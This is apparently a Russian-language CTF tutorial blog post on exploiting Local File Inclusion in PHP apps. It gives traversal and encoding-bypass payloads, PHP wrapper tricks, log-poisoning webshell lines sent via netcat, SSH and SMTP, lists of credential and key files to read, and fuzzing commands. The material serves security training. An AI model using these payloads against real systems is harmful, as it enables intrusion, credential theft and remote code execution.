
Одна строка php://filter/convert.base64-encode/resource=config.php решила web-таск, над которым команда билась три часа. В base64-выводе лежали креды от базы данных, а из базы — флаг. Так бывает: три часа фаззишь формы, ищешь SQLi, а решение — в одном GET-параметре.
LFI уязвимость — одна из первых техник, которую CTF-игроки осваивают в категории web. По данным OWASP, инъекции (A03:2021, Injection) входят в тройку критичных рисков веб-приложений, и Local File Inclusion — один из самых частых подвидов. Между «прочитать /etc/passwd» и «получить шелл на сервере» лежит несколько слоёв: байпасы фильтров, PHP-врапперы и техники вроде log poisoning атаки, которые русскоязычные материалы обычно обходят стороной. Разбираю всю цепочку — от первого запроса до полноценного RCE, с конкретными пейлоадами и командами.
Local File Inclusion возникает, когда веб-приложение подключает файл по пути, который контролирует пользователь. Уязвимый паттерн на PHP — вызов include($_GET['page']) без валидации, без белого списка, без какого-либо санитайзинга. Атакующий подставляет в параметр произвольный путь, сервер послушно читает или исполняет указанный файл. Хотя уязвимость чаще ассоциируется с PHP, аналогичные дыры возникают в Python (send_file), Node.js (fs.readFile), Java — везде, где пользовательский ввод попадает в функции работы с файлами. По данным Invicti, ввод может поступать не только через очевидные GET-параметры — cookies, HTTP-заголовки, значение User-Agent тоже могут быть источником пути. Подробнее — в нашем статье о создание ctf заданий.
В терминах MITRE ATT&CK цепочка эксплуатации LFI разворачивается через несколько тактик. Начальная точка — Exploit Public-Facing Application (T1190, Initial Access): эксплуатация уязвимого веб-параметра. Следом — File and Directory Discovery (T1083, Discovery): систематическое чтение файловой системы через подбор путей. Затем Credentials In Files (T1552.001, Credential Access): извлечение паролей и токенов из конфигов. Финальная цель — Web Shell (T1505.003, Persistence), если удаётся эскалировать LFI до выполнения кода.
Отличие Local File Inclusion от Remote File Inclusion (RFI) — принципиальное. RFI подключает файл с внешнего сервера и сразу даёт выполнение произвольного кода. Но RFI требует включённых директив allow_url_include и allow_url_fopen в php.ini — конфигурация, которая в современных инсталляциях PHP практически не встречается (и слава богу). LFI ограничена локальными файлами, зато работает при дефолтных настройках и попадается значительно чаще.
Бизнес-логика атаки прямолинейна: прочитать .env или конфиг с кредами от базы, вытянуть API-ключи, найти SSH-ключи в домашних директориях пользователей. При удачном раскладе — получить RCE через log poisoning и закрепиться на сервере. По Verizon DBIR 2025, 26% подтверждённых нарушений связаны с веб-атаками, и path traversal в связке с file inclusion — один из стабильных начальных векторов.
В CTF-тасках LFI обычно проявляется через GET-параметры с характерными именами: page, file, include, template, lang, module, content, view. Видите URL вида index.php?page=home — это первый кандидат для тестирования. Менее очевидные места: POST-параметры форм, значения в cookies, параметры Ajax-запросов, которые подгружают шаблоны или языковые файлы. На CTF часто помогает просмотр всех запросов через Burp Suite Proxy и поиск параметров, значение которых напоминает имя файла.
Path traversal (directory traversal, обход директорий) — механика, через которую эксплуатируется LFI уязвимость. Последовательность ../ означает «подняться на одну директорию вверх». Если приложение хранит шаблоны в /var/www/html/templates/ и подключает файл через include('/var/www/html/templates/' . $_GET['page']), запрос ?page=../../../../etc/passwd формирует путь /var/www/html/templates/../../../../etc/passwd, который файловая система разрешает в /etc/passwd.
Файл /etc/passwd — стандартная мишень для подтверждения LFI уязвимости. Он world-readable на любой Linux-системе и имеет узнаваемый формат root:x:0:0:root:/root:/bin/bash. Увидели такой вывод — LFI подтверждена, можно копать дальше. В терминах MITRE ATT&CK вы выполнили технику чтения /etc/passwd и /etc/shadow (T1003.008, Credential Access).
Первые пейлоады для web CTF заданий:
?page=../../../etc/passwd — базовый traversal, количество ../ подбирается перебором?page=/etc/passwd — абсолютный путь, обходит фильтры, которые режут .., но принимают абсолютные пути?page=../../../../../../../../etc/passwd — избыточные ../ безопасны, файловая система свернёт лишние на корневом каталоге?page=/var/www/images/../../../etc/passwd — обход валидаторов, которые проверяют начало пути на соответствие разрешённой директории, но не канонизируют его перед проверкойНа Windows-таргетах аналогичный тест: ?page=..\..\..\windows\win.ini с обратными слешами. Файл win.ini предсказуемо существует и заодно подтверждает операционную систему.
Нюанс: количество ../ определяется глубиной вложенности текущей директории относительно корня. Не знаете точную глубину — ставьте с запасом. Файловая система проигнорирует лишние уровни обхода после достижения корня /. Тут лучше перестараться, чем недостараться.
Когда базовый ../ блокируется — разработчик навесил фильтр. В CTF это обычная история начиная со среднего уровня сложности. Ниже — техники обхода с условиями применимости:
| Техника | Payload | Когда работает |
|---|---|---|
| URL-кодирование слешей | ..%2f..%2f..%2fetc%2fpasswd |
Фильтр ищет литеральный ../, не декодируя URL перед проверкой |
| Полное URL-кодирование | %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd |
Кодируются точки и слеши; фильтр проверяет только декодированную ASCII-форму |
| Двойное URL-кодирование | %252e%252e%252f%252e%252e%252fetc%252fpasswd |
Сервер декодирует один раз при валидации, downstream-компонент — второй раз перед файловым API |
| Null byte (PHP < 5.3.4) | ../../../etc/passwd%00 |
Код добавляет .php; null byte обрезает строку в C-функциях |
| Overlong UTF-8 | ..%c0%af..%c0%afetc%c0%afpasswd |
%c0%af — overlong-кодировка /; обходит старые IIS и нестрогие валидаторы |
| Fullwidth Unicode | ..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd |
U+FF0F нормализуется в / при NFKC |
| Однократная очистка | ....//....//etc/passwd |
Фильтр удаляет ../ один раз — остаётся рабочий ../ |
| Знак вопроса | ../../../etc/passwd? |
Суффикс после ? трактуется как query string, не как часть файлового пути |
| Trailing dot | ../../../etc/passwd/. |
/. сохраняет «файловый» вид для валидатора, ядро ОС сворачивает при open() |
Null byte injection стоит разобрать подробнее. Если PHP-код делает include($_GET['page'] . '.php'), запрос к /etc/passwd превращается в попытку прочитать /etc/passwd.php — файла не существует. Но на PHP ниже 5.3.4 символ %00 (null byte) обрезает строку для нижележащих C-функций, и суффикс .php отбрасывается. В современном PHP трюк не работает, но в CTF-тасках на устаревших версиях встречается регулярно. Версию PHP можно определить по заголовку X-Powered-By или через phpinfo(), если она доступна.
Обход через ....// — мой любимый трюк против однократной очистки. Если sanitizer делает str_replace('../', '', $input), строка ....// после удаления ../ превращается в ../ — ровно то, что нужно. Красиво, правда? Реализации, выполняющие очистку в цикле до полного удаления всех ../, этому байпасу не поддаются — тогда переходите к кодированию.
Двойное URL-кодирование работает в архитектурах, где reverse proxy декодирует URL перед передачей бэкенду: первый декод (на прокси) превращает %252e в %2e, валидация на бэкенде видит закодированную строку и пропускает, а второй декод при вызове файлового API превращает %2e в . — и traversal срабатывает.
PHP-врапперы превращают LFI из «прочитал /etc/passwd» в «прочитал весь исходный код приложения с хардкоженными секретами». Проблема с обычным включением: если подключить .php-файл через include(), сервер его исполняет. Вы видите результат работы скрипта, а не его код. А код-то нам и нужен.
Решение — php filter wrapper с конвертацией в base64. Запрос ?page=php://filter/convert.base64-encode/resource=config заставляет PHP пропустить содержимое файла через фильтр base64-encode ДО исполнения. В ответе приходит base64-строка, декодируете echo '<строка>' | base64 -d и получаете полный исходный код PHP-файла.
Если приложение автоматически добавляет расширение .php (код вида include($page . '.php')), в параметре достаточно указать имя без расширения — сервер сам подставит .php и прочитает нужный файл. Это делает php://filter особенно удобным на CTF, где конструкция с автоматическим расширением встречается постоянно.
Почему php filter wrapper критичен: конфиги содержат пароли от баз данных, API-ключи, скрытые эндпоинты. По MITRE ATT&CK считывание и декодирование файлов через фильтр соответствует технике Deobfuscate/Decode Files or Information (T1140).
Помимо base64, php://filter поддерживает другие конвертации: convert.iconv, string.rot13, zlib.deflate. В 2022 году исследователи из Synacktiv опубликовали технику PHP filter chains — через цепочку фильтров convert.iconv можно генерировать произвольные байты и добиться RCE без записи на диск. Техника сложная, но в CTF-тасках категории hard — реальный вектор. Если видите задание, где все врапперы закрыты, а php://filter работает — копайте в эту сторону.
Если на сервере включена директива allow_url_include (в php.ini), два враппера превращают LFI сразу в RCE без промежуточных шагов:
Data wrapper PHP передаёт код прямо в URL: запрос ?page=data://text/plain,<?php system('id'); ?> заставляет PHP интерпретировать переданные данные как файл и выполнить код. Для обхода фильтров пейлоад кодируется в base64: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==.
Враппер php://input читает тело POST-запроса как подключаемый файл. Отправляете POST с телом <?php system($_GET['cmd']); ?> на URL с параметром ?page=php://input&cmd=id — PHP выполняет код из тела запроса. Удобно для больших пейлоадов, которые не помещаются в URL.
Есть ещё expect:// — он напрямую исполняет системные команды (?page=expect://id), но требует установленного расширения php-expect. Конфигурация настолько редкая, что появляется только в тасках, где авторы намеренно подготовили этот вектор.
На CTF data:// и php://input — быстрый путь к RCE при включённом allow_url_include. На реальных серверах эта директива почти всегда выключена, поэтому для эскалации LFI уязвимости до RCE используется более надёжная техника — log poisoning.
Log poisoning — ключевой практический способ сделать LFI to RCE, когда PHP-врапперы заблокированы дефолтной конфигурацией. Идея простая: веб-сервер записывает пользовательские данные в лог-файлы — URL запроса, заголовок User-Agent, имя пользователя при авторизации. Если удаётся внедрить PHP-код в лог, а потом подключить этот лог через LFI — сервер исполнит инъектированный код.
В терминах MITRE ATT&CK успешный log poisoning приводит к установке Web Shell (T1505.003, Persistence) и выполнению произвольных команд через Unix Shell (T1059.004, Execution). Это полноценный переход от чтения файлов к контролю над сервером.
Apache записывает каждый HTTP-запрос в access.log, включая запрошенный URL и заголовок User-Agent. Критический момент: при отправке запроса через netcat данные не проходят URL-кодирование, поэтому PHP-код попадает в лог в чистом виде и будет интерпретирован при подключении через include().
nc TARGET_IP 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: TARGET_IP
Connection: close
Четыре строки — и PHP-вебшелл записан в access.log. Следующий шаг — подключение лога через LFI: ?page=../../../var/log/apache2/access.log&cmd=id. Сервер выполняет include() над лог-файлом, PHP-интерпретатор находит тег <?php ?> и исполняет passthru('id'). В ответе — вывод команды. Полноценный RCE через четыре строки в терминале. Красота.
Альтернативный способ внедрения — через заголовок Referer. Отправляете GET-запрос с заголовком Referer: <?php passthru($_GET['cmd']); ?>, Apache записывает Referer в лог, дальше — тот же include через LFI.
Пути к лог-файлам зависят от дистрибутива и веб-сервера:
| Система / сервер | Access log | Error log |
|---|---|---|
| Debian / Ubuntu (Apache) | /var/log/apache2/access.log |
/var/log/apache2/error.log |
| RHEL / CentOS (Apache) | /var/log/httpd/access_log |
/var/log/httpd/error_log |
| FreeBSD (Apache) | /var/log/httpd-access.log |
/var/log/httpd-error.log |
| Nginx (Linux) | /var/log/nginx/access.log |
/var/log/nginx/error.log |
| Windows XAMPP | C:\xampp\apache\logs\access.log |
C:\xampp\apache\logs\error.log |
| Windows Nginx | C:\nginx\log\access.log |
C:\nginx\log\error.log |
На CTF обычно хватает перебрать 4-5 стандартных путей. Если ни один не подходит — фаззинг через wordlist с путями логов (есть в SecLists) покажет нужный файл.
Log poisoning атака не ограничивается Apache. Если на таргете открыт SSH, можно отравить /var/log/auth.log. При попытке SSH-подключения имя пользователя записывается в лог. Команда ssh '<?php system($_GET["cmd"]); ?>'@TARGET_IP провалится (пользователя не существует), но PHP-код уже записан в auth.log. Подключаете через LFI: ?page=../../../var/log/auth.log&cmd=id — и получаете выполнение команд. SSH log poisoning — вектор, который на CTF часто забывают проверить. А зря.
Другие лог-файлы, пригодные для пойзонинга:
/var/log/vsftpd.log — при доступном FTP. Подключаетесь и вводите PHP-код как имя пользователя/var/log/mail.log — при работающем SMTP. Через telnet отправляете RCPT TO:<?php system($_GET['cmd']); ?>, код попадает в mail.log/proc/self/environ — содержит переменные окружения текущего процесса, включая HTTP_USER_AGENT. Отправляете запрос с PHP-кодом в User-Agent и подключаете /proc/self/environ через LFI — код может быть выполненОбщее правило: любой файл, куда сервер записывает пользовательский ввод без экранирования, — потенциальный вектор для log poisoning. PHP-сессии в /tmp/sess_<SESSIONID>, загруженные временные файлы — тоже точки входа.
Типичная ошибка при log poisoning, которая стоит флага (и я сам так попадался): отправка нескольких тестовых запросов с синтаксически некорректным PHP-кодом. Один сломанный тег <?php без закрытия заставляет интерпретатор выдать ошибку при include всего лог-файла. Все дальнейшие попытки с корректным кодом тоже не сработают — лог уже испорчен. Действуйте аккуратно: один запрос, один корректный пейлоад, проверенный перед отправкой. На общем сервере вы этим ломаете вектор не только себе, но и остальным участникам.
После подтверждения path traversal уязвимости возникает практический вопрос: что именно читать? Ниже — файлы, которые дают больше всего полезной информации.
Linux — системные и сетевые файлы:
| Путь | Что даёт |
|---|---|
/etc/passwd |
Список пользователей, домашние директории, шеллы |
/etc/shadow |
Хеши паролей (обычно нужен root, но бывают мисконфиги — и тогда праздник) |
/etc/hosts |
Внутренние хостнеймы, указания на скрытые сервисы |
/etc/resolv.conf |
DNS-серверы внутренней сети |
/proc/version |
Точная версия ядра Linux |
/proc/self/environ |
Переменные окружения — могут содержать секреты и токены |
/proc/sched_debug |
Список запущенных процессов на сервере |
/proc/net/tcp |
Активные TCP-соединения, раскрывают внутренние сервисы |
/proc/net/arp |
ARP-таблица — соседние хосты в локальной сети |
/proc/net/route |
Таблица маршрутизации |
Linux — пользовательские файлы и ключи:
| Путь | Что даёт |
|---|---|
/root/.ssh/id_rsa |
Приватный SSH-ключ root — мгновенный доступ к серверу |
/root/.ssh/authorized_keys |
Публичные ключи авторизованных SSH-пользователей |
/home/<user>/.bash_history |
История команд, может содержать пароли в открытом виде |
/home/<user>/.my.cnf |
Конфигурация MySQL с паролем |
/root/.bash_history |
История команд root |
Linux — веб-сервер и приложение:
| Путь | Что даёт |
|---|---|
/etc/apache2/apache2.conf |
Конфигурация Apache, document root, пути к логам |
/var/www/html/.htaccess |
Правила rewrite, ограничения доступа |
/var/www/html/config.php |
Типичный конфиг с кредами от БД |
/var/www/html/.env |
Environment-файл с токенами и API-ключами |
Windows:
| Путь | Что даёт |
|---|---|
c:\windows\win.ini |
Подтверждение Windows-таргета |
c:\boot.ini |
Конфигурация загрузки |
c:\windows\system32\drivers\etc\hosts |
Файл hosts |
c:\windows\Repair\SAM |
Хеши паролей (нужен также файл SYSTEM) |
c:\xampp\apache\conf\httpd.conf |
Конфигурация Apache на XAMPP |
c:\php\php.ini |
Конфигурация PHP, включая путь к сессиям |
c:\windows\panther\unattend.xml |
Может содержать пароли от автоустановки |
На CTF в первую очередь читайте /etc/passwd (подтверждение LFI и список пользователей), затем конфиги веб-приложения (креды от БД), SSH-ключи (прямой доступ) и /proc/self/environ (переменные окружения с токенами). Именно в таком порядке — от подтверждения уязвимости к максимальному импакту.
Ручной перебор пейлоадов работает, но на CTF время ограничено. Автоматизация экономит минуты, которые решают исход.
ffuf — быстрый веб-фаззер на Go. Для перебора LFI-пейлоадов: ffuf -u 'http://target/index.php?page=FUZZ' -w lfi-wordlist.txt -fs 0. Флаг -fs 0 отсеивает пустые ответы. Словари с traversal-последовательностями и путями к чувствительным файлам лежат в SecLists (каталог Fuzzing/LFI). Аналогичный результат даёт wfuzz: wfuzz -c -w lfi-wordlist.txt --hh 0 http://target/index.php?page=FUZZ.
Burp Suite Intruder — для ситуаций, когда нужно руками анализировать ответы. Загружаете список пейлоадов, отмечаете позицию на значении параметра, запускаете атаку. Фильтрация по длине ответа и ключевым словам (например, root:x:0) быстро показывает сработавшие пейлоады. Для одиночных запросов удобнее Burp Repeater — модифицируете запрос и мгновенно видите ответ.
dotdotpwn — заточен под тестирование directory traversal. Автоматически генерирует пейлоады с различными кодировками и глубиной обхода, поддерживает HTTP, FTP и TFTP. Полезен, когда нужно перебрать десятки вариантов кодирования и не тратить время на ручное составление каждого пейлоада.
kadimus — автоматизированная эксплуатация LFI. Умеет идентифицировать уязвимый параметр, извлекать файлы через php://filter, пытаться выполнить код через log poisoning. Экономит время на тасках, где нужно быстро проверить наличие LFI и двигаться дальше.
Практический совет из опыта: начинайте всегда с ручного тестирования через curl или Burp Repeater. Вы поймёте поведение приложения — что отвечает при ошибке, как выглядит блокировка WAF, какой формат ожидает параметр. Автоматику подключайте для перебора путей и кодировок, когда базовый вектор уже подтверждён и понятна логика фильтрации. Запускать ffuf вслепую — верный способ нашуметь и ничего не найти.
LFI считается «базовой» уязвимостью, и это её главная маскировка. На CTF начального уровня хватает одного ../../../etc/passwd, чтобы забрать очки. Но полная цепочка LFI → чтение конфигов → log poisoning → RCE → закрепление — полноценный kill chain, который работает и на соревнованиях, и в реальных проектах. Разработчики закрывают очевидные include($_GET['page']), но забывают про косвенные вызовы: file_get_contents, fopen, шаблонизаторы, которые резолвят пути через пользовательский ввод. Белый список допустимых значений решает проблему на 100%, но до сих пор встречается подход «вырежем ../ из строки» — он обходится двойным URL-кодированием за десять секунд.
Ещё одна вещь, о которой мало говорят: log poisoning ломает лог-файл при ошибке навсегда. Один кривой PHP-тег без закрытия — и все последующие include лога дают ошибку парсинга. На CTF это критично: вы не только теряете свой вектор, но потенциально ломаете его для остальных участников, если сервер общий. Практикуйтесь на изолированных стендах, проверяйте пейлоад перед отправкой. На WAPT эту цепочку проходят в течение двух модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...